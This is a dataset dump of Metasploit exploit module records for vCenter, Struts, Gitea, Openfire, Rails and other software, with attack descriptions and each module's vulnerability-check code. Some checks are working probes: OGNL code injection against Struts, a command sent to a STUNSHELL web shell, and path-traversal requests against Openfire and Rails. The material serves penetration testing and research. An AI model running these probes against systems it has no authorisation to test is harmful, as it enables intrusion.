deardaniel/secdata-raw huggingface dataset:
Metasploit Module: VMware vCenter Server Unauthenticated OVA File Upload RCE
Type: exploit
Path: modules/exploits/multi/http/vmware_vcenter_uploadova_rce.rb
Platform: linux
Disclosure date: 2021-02-23
References: CVE-2021-21972, URL-https://www.vmware.com/security/advisories/VMSA-2021-0002.html, URL-https://swarm.ptsecurity.com/unauth-rce-vmware/, URL-https://twitter.com/jas502n/status/[PII_REDACTED]61496843, URL-https://twitter.com/_0xf4n9x_/status/[PII_REDACTED]76503045, URL-https://twitter.com/HackingLZ/status/[PII_REDACTED]06886403, URL-https://kb.vmware.com/s/article/2143838, URL-https://nmap.org/nsedoc/scripts/vmware-version.html

Description:
This module exploits an unauthenticated OVA file upload and path
          traversal in VMware vCenter Server to write a JSP payload to a
          web-accessible directory.

          Fixed versions are 6.5 Update 3n, 6.7 Update 3l, and 7.0 Update 1c.
          Note that later vulnerable versions of the Linux appliance aren't
          exploitable via the webshell technique. Furthermore, writing an SSH
          public key to /home/vsphere-ui/.ssh/authorized_keys works, but the
          user's non-existent password expires 90 days after install, rendering
          the technique nearly useless against production environments.

          You'll have the best luck targeting older versions of the Linux
          appliance. The Windows target should work ubiquitously.

Check method (fingerprinting):
# Run auxiliary/scanner/vmware/esx_fingerprint
    super

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/getstatus')
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    case res.code
    when 200
      # {"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
      expected_keys = [
        'States',
        'Install Progress',
        'Install Final Progress',
        'Config Progress',
        'Config Final Progress'
      ]

      if (expected_keys & res.get_json_document.keys) == expected_keys
        return CheckCode::Vulnerable('Unauthenticated endpoint access granted.')
      end

      CheckCode::Detected('Target did not respond with expected keys.')
    when 401
      CheckCode::Safe('Unauthenticated endpoint access denied.')
    else
      CheckCode::Detected("Target responded with code #{res.code}.")
    end
  end
Metasploit Module: Git LFS Clone Command Exec
Type: exploit
Path: modules/exploits/multi/http/git_lfs_clone_command_exec.rb
Disclosure date: 2021-04-26
References: CVE-2021-21300, URL-https://seclists.org/fulldisclosure/2021/Apr/60, URL-https://twitter.com/Foone/status/[PII_REDACTED]69527552?s=20
Targets: Git for MacOS, Windows

Description:
Git clients that support delay-capable clean / smudge
          filters and symbolic links on case-insensitive file systems are
          vulnerable to remote code execution while cloning a repository.

          Usage of clean / smudge filters through Git LFS and a
          case-insensitive file system changes the checkout order
          of repository files which enables the placement of a Git hook
          in the `.git/hooks` directory. By default, this module writes
          a `post-checkout` script so that the payload will automatically
          be executed upon checkout of the repository.
Metasploit Module: Gitea Git Hooks Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/gitea_git_hooks_rce.rb
Platform: unix
Disclosure date: 2020-10-07
References: CVE-2020-14144, EDB-49571, URL-https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/, URL-http://web.archive.org/web/[PII_REDACTED]5818/https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/
Targets: Unix Command, Linux Dropper, Windows Command, Windows Dropper

Description:
This module leverages an insecure setting to get remote code
          execution on the target OS in the context of the user running Gitea.
          This is possible when the current user is allowed to create `git
          hooks`, which is the default for administrative users. For
          non-administrative users, the permission needs to be specifically
          granted by an administrator.

          To achieve code execution, the module authenticates to the Gitea web
          interface, creates a temporary repository, sets a `post-receive` git
          hook with the payload and creates a dummy file in the repository.
          This last action will trigger the git hook and execute the payload.
          Everything is done through the web interface.

          It has been mitigated in version 1.13.0 by setting the Gitea
          `DISABLE_GIT_HOOKS` configuration setting to `true` by default. This
          disables this feature and prevents all users (including admin) from
          creating custom git hooks.

          This module has been tested successfully against docker versions 1.12.5,
          1.12.6 and 1.13.6 with `DISABLE_GIT_HOOKS` set to `false`, and on
          version 1.12.6 on Windows.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true
    )
    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    # Powered by Gitea Version: 1.12.5
    unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/))
      return CheckCode::Unknown('Target does not appear to be running Gitea.')
    end

    if match[:version].match(/[a-zA-Z]/)
      return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.")
    end

    if Rex::Version.new(match[:version]) >= Rex::Version.new('1.13.0')
      print_warning(
        'This version of Gitea has the "DISABLE_GIT_HOOKS" option set to true '\
        'by default. This prevents all users (including admin) from creating '\
        'custom git hooks. This exploit might not work if this option is still '\
        'set to the default value.'
      )
    end
    CheckCode::Appears("Gitea version is #{match[:version]}")
  end
Metasploit Module: Apache Struts Dynamic Method Invocation Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/struts_dmi_exec.rb
Platform: win
Disclosure date: 2016-04-27
References: CVE-2016-3081, URL-https://www.seebug.org/vuldb/ssvid-91389
Targets: Windows Universal, Linux Universal, Java Universal

Description:
This module exploits a remote command execution vulnerability in Apache Struts
          version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
          Execution can be performed via method: prefix when Dynamic Method Invocation
          is enabled.

Check method (fingerprinting):
var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)

    addend_one = rand_text_numeric(rand(1..3)).to_i
    addend_two = rand_text_numeric(rand(1..3)).to_i
    sum = addend_one + addend_two
    flag = Rex::Text.rand_text_alpha(5)

    code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.close()"

    payload = generate_rce_payload(code)
    params_hash = { var_b => flag }

    begin
      resp = send_http_request(payload, params_hash)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown('An error occurred while checking the target')
    end

    if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
      Exploit::CheckCode::Vulnerable('Successfully verified remote code execution')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: STUNSHELL Web Shell Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/stunshell_exec.rb
Platform: unix
Disclosure date: 2013-03-23
References: OSVDB-91842, URL-https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL, URL-https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007

Description:
This module exploits unauthenticated versions of the "STUNSHELL" web shell.
          This module works when safe mode is disabled on the web server.  This shell is
          widely used in automated RFI payloads.

Check method (fingerprinting):
uri = normalize_uri(target_uri.path.to_s)
    request_parameters = {
      'method'	=> 'POST',
      'uri'	=> uri,
      'vars_post'	=>
        {
          'cmd' => "echo 'andalas_oku test parameter'"
        }
    }
    shell = send_request_cgi(request_parameters)
    if (shell and shell.body =~ /andalas_oku test parameter/)
      return Exploit::CheckCode::Vulnerable('Successfully verified webshell command execution')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: PHP CGI Argument Injection
Type: exploit
Path: modules/exploits/multi/http/php_cgi_arg_injection.rb
Platform: php
Disclosure date: 2012-05-03
References: CVE-2012-1823, OSVDB-81633, OSVDB-93979, EDB-25986, URL-http://web.archive.org/web/[PII_REDACTED]4724/http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/, URL-http://kb.parallels.com/en/116241

Description:
When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
          an argument injection vulnerability.  This module takes advantage of
          the -d flag to set php.ini directives to achieve code execution.

          From the advisory: "if there is NO unescaped '=' in the query string,
          the string is split on '+' (encoded space) characters, urldecoded,
          passed to a function that escapes shell metacharacters (the "encoded in
          a system-defined manner" from the RFC) and then passes them to the CGI
          binary." This module can also be used to exploit the plesk 0day disclosed
          by kingcope and exploited in the wild on June 2013.

Check method (fingerprinting):
vprint_status("Checking uri #{uri}")

    response = send_request_raw({ 'uri' => uri })

    return CheckCode::Unknown('Connection failed.') unless response

    if response.code == 200 && response.body.to_s.lstrip =~ /^<code><span style/i && !datastore['PLESK']
      return CheckCode::Unknown('Server responded in a way that was ambiguous. Could not determine whether it was vulnerable.')
    end

    response = send_request_raw({ 'uri' => "#{uri}?#{create_arg('-s')}" })

    return CheckCode::Unknown('Connection failed.') unless response

    if response.code == 200 && response.body.to_s.lstrip =~ /^<code><span style/i
      return CheckCode::Vulnerable('The target is vulnerable')
    end

    if datastore['PLESK'] && response.code == 500
      return CheckCode::Appears('Server responded with HTTP 500 error')
    end

    CheckCode::Safe('Server responded indicating it was not vulnerable')
  end
Metasploit Module: Openfire Admin Console Authentication Bypass
Type: exploit
Path: modules/exploits/multi/http/openfire_auth_bypass.rb
Platform: java
Disclosure date: 2008-11-10
References: CVE-2008-6508, OSVDB-49663, BID-32189, EDB-7075, URL-http://community.igniterealtime.org/thread/35874
Targets: Java Universal, Windows x86 (Native Payload), Linux x86 (Native Payload)

Description:
This module exploits an authentication bypass vulnerability in the administration
          console of Openfire servers. By using this vulnerability it is possible to
          upload/execute a malicious Openfire plugin on the server and execute arbitrary Java
          code. This module has been tested against Openfire 3.6.0a.

          It is possible to remove the uploaded plugin after execution, however this might turn
          the server in some kind of unstable state, making re-exploitation difficult. You might
          want to do this manually.

Check method (fingerprinting):
base = target_uri.path
    base << '/' if base[-1, 1] != '/'

    path = normalize_uri(base, 'login.jsp')
    res = send_request_cgi(
      {
        'uri' => path
      }
    )

    if (!res) or (res.code != 200)
      vprint_error("Unable to make a request to: #{path}")
      return Exploit::CheckCode::Unknown('Failed to fetch the login page')
    end

    versioncheck = res.body =~ %r{Openfire, \D*: (\d)\.(\d).(\d)\s*</div>}

    if versioncheck.nil?
      vprint_error('Unable to detect Openfire version')
      return Exploit::CheckCode::Unknown('Unable to determine Openfire version from response')
    end

    vprint_status("Detected version: #{::Regexp.last_match(1)}.#{::Regexp.last_match(2)}.#{::Regexp.last_match(3)}")
    version = "#{::Regexp.last_match(1)}#{::Regexp.last_match(2)}#{::Regexp.last_match(3)}".to_i

    return Exploit::CheckCode::Safe('The target is not running a vulnerable version') if version > 360

    # Just to be sure, try to access the log page
    path = "#{base}setup/setup-/../../log.jsp"
    res = send_request_cgi(
      {
        'uri' => path
      }
    )

    if (!res) or (res.code != 200)
      print_error("Failed: Error requesting #{path}")
      return Exploit::CheckCode::Unknown('An error occurred while checking the target')
    end

    Exploit::CheckCode::Appears('The target appears to be a vulnerable version')
  end
Metasploit Module: Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Template Import
Type: exploit
Path: modules/exploits/multi/http/xerte_unauthenticated_template_import_rce.rb
Platform: php
Disclosure date: 2025-08-04
References: URL-https://blog.haicen.me/posts/xerte-online-toolkits/, URL-https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available
Targets: PHP

Description:
This module exploits an authentication bypass allowing arbitrary
          file upload in versions 3.14 and earlier to upload and execute a shell.
          Specifically, this targets /website_code/php/import/import.php

          OPSEC
          This module results in directories being created and database entries which can
          not easily be cleaned up automatically.

Check method (fingerprinting):
print_status('Performing check')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
    })
    if res&.code == 200
      if res.body.include?('No valid language definition found in the file!')
        return Exploit::CheckCode::Vulnerable('Successfully verified arbitrary file upload vulnerability')
      else
        return Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    end
    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Jenkins-CI Script-Console Java Execution
Type: exploit
Path: modules/exploits/multi/http/jenkins_script_console.rb
Platform: win
Disclosure date: 2013-01-18
References: URL-https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console
Targets: Windows, Linux, Unix CMD

Description:
This module uses the Jenkins-CI Groovy script console to execute
          OS commands using Java.

Check method (fingerprinting):
uri = target_uri
    uri.path = normalize_uri(uri.path)
    uri.path << '/' if uri.path[-1, 1] != '/'
    res = send_request_cgi({ 'uri' => "#{uri.path}login" })
    if res && res.headers.include?('X-Jenkins')
      return Exploit::CheckCode::Detected('The target application was detected but requires authentication')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: GitLab GitHub Repo Import Deserialization RCE
Type: exploit
Path: modules/exploits/multi/http/gitlab_github_import_rce_cve_2022_2992.rb
Platform: unix
Disclosure date: 2022-10-06
References: URL-https://hackerone.com/reports/1679624, URL-https://github.com/redwaysecurity/CVEs/tree/main/CVE-2022-2992, URL-https://gitlab.com/gitlab-org/gitlab/-/issues/371884, CVE-2022-2992
Targets: Unix Command

Description:
An authenticated user can import a repository from GitHub into GitLab.
          If a user attempts to import a repo from an attacker-controlled server,
          the server will reply with a Redis serialization protocol object in the nested
          `default_branch`. GitLab will cache this object and
          then deserialize it when trying to load a user session, resulting in RCE.

Check method (fingerprinting):
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie

    vprint_status('Trying to get the GitLab version')

    version = Rex::Version.new(gitlab_version)

    return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") unless
      version.between?(Rex::Version.new('11.10'), Rex::Version.new('15.1.6')) ||
      version.between?(Rex::Version.new('15.2'), Rex::Version.new('15.2.4')) ||
      version.between?(Rex::Version.new('15.3'), Rex::Version.new('15.3.2'))

    report_vuln(
      host: rhost,
      name: name,
      refs: references,
      info: [version]
    )
    return CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")
  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError
    return CheckCode::Detected('Could not detect the version because authentication failed.')
  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError => e
    return CheckCode::Unknown("#{e.class} - #{e.message}")
  end
Metasploit Module: Mirth Connect Deserialization RCE
Type: exploit
Path: modules/exploits/multi/http/mirth_connect_cve_2023_43208.rb
Platform: unix
Disclosure date: 2023-10-25
References: CVE-2023-37679, URL-https://www.ihteam.net/advisory/mirth-connect/, CVE-2023-43208, URL-https://www.horizon3.ai/nextgen-mirth-connect-remote-code-execution-vulnerability-cve-2023-43208/, URL-https://www.horizon3.ai/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/
Targets: Unix Command, Windows Command

Description:
A vulnerability exists within Mirth Connect due to its mishandling of deserialized data. This vulnerability
          can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the
          target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later,
          researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed
          the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was
          patched in Mirth Connect version 4.4.1. This module has been tested on versions 4.1.1, 4.3.0 and 4.4.0.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )
    return CheckCode::Unknown('HTTP fingerprinting failed.') if res.nil?

    unless res.get_html_document&.xpath('//head/title')&.first&.text =~ /Mirth Connect/
      return CheckCode::Safe('The target is not Mirth Connect.')
    end

    target_version = get_target_version
    return CheckCode::Detected('Failed to detect the target version.') unless target_version

    vprint_status("Detected target version: #{target_version}")

    if target_version <= Rex::Version.new('4.3.0')
      return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-37679.")
    elsif target_version <= Rex::Version.new('4.4.0')
      return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-43208.")
    end

    CheckCode::Safe("Version #{target_version} is not affected.")
  end
Metasploit Module: PlaySMS index.php Unauthenticated Template Injection Code Execution
Type: exploit
Path: modules/exploits/multi/http/playsms_template_injection.rb
Platform: php
Disclosure date: 2020-02-05
References: CVE-2020-8644, URL-https://www.youtube.com/watch?v=zu-bwoAtTrc, URL-https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/

Description:
This module exploits a preauth Server-Side Template Injection vulnerability that leads to remote code execution
          in PlaySMS before version 1.4.3. This issue is caused by double processing a server-side template with a custom
          PHP template system called 'TPL' which is used in the PlaySMS template engine at
          `src/Playsms/Tpl.php:_compile()`. The vulnerability is triggered when an attacker supplied username with a
          malicious payload is submitted. This malicious payload is then stored in a TPL template which when rendered a
          second time, results in code execution.
          The TPL(https://github.com/antonraharja/tpl) template language is vulnerable to PHP code injection.

          This module was tested against PlaySMS 1.4 on HackTheBox's Forlic Machine.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(uri, 'index.php')
      })
    rescue StandardError
      vprint_error('Unable to access the index.php file')
      return CheckCode::Unknown('An error occurred while checking the target')
    end

    if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login')
      return Exploit::CheckCode::Appears('The target appears vulnerable based on response headers')
    end

    return CheckCode::Safe('The target is not vulnerable')
  end

  # Send Payload in Login Request
Metasploit Module: Ruby on Rails Dynamic Render File Upload Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/rails_dynamic_render_code_exec.rb
Platform: linux
Disclosure date: 2016-10-16
References: CVE-2016-0752, URL-https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00, URL-https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/, URL-https://gist.github.com/forced-request/5158759a6418e6376afb

Description:
This module exploits a remote code execution vulnerability in the explicit render
          method when leveraging user parameters.
          This module has been tested across multiple versions of Ruby on Rails.
          The technique used by this module requires the specified
          endpoint to be using dynamic render paths, such as the following example:

          def show
          render params[:id]
          end

          Also, the vulnerable target will need a POST endpoint for the TempFile upload, this
          can literally be any endpoint. This module doesnt use the log inclusion method of
          exploitation due to it not being universal enough. Instead, a new code injection
          technique was found and used whereby an attacker can upload temporary image files
          against any POST endpoint and use them for the inclusion attack. Finally, you only
          get one shot at this if you are testing with the builtin rails server, use caution.

Check method (fingerprinting):
# this is the check for the dev environment
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URIPATH'], "%2f"),
      'method' => 'GET',
    }, 60)

    # if the page controller is dynamically rendering, its for sure vuln
    if res and res.body =~ /render params/
      return CheckCode::Vulnerable('Successfully verified Rails dynamic render remote code execution condition')
    end

    # this is the check for the prod environment
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URIPATH'], "%2fproc%2fself%2fcomm"),
      'method' => 'GET',
    }, 60)

    # if we can read files, its likley we can execute code
    if res and res.body =~ /ruby/
      return CheckCode::Appears('The target appears to be vulnerable based on the response')
    end

    return CheckCode::Safe('The target is not vulnerable')
  end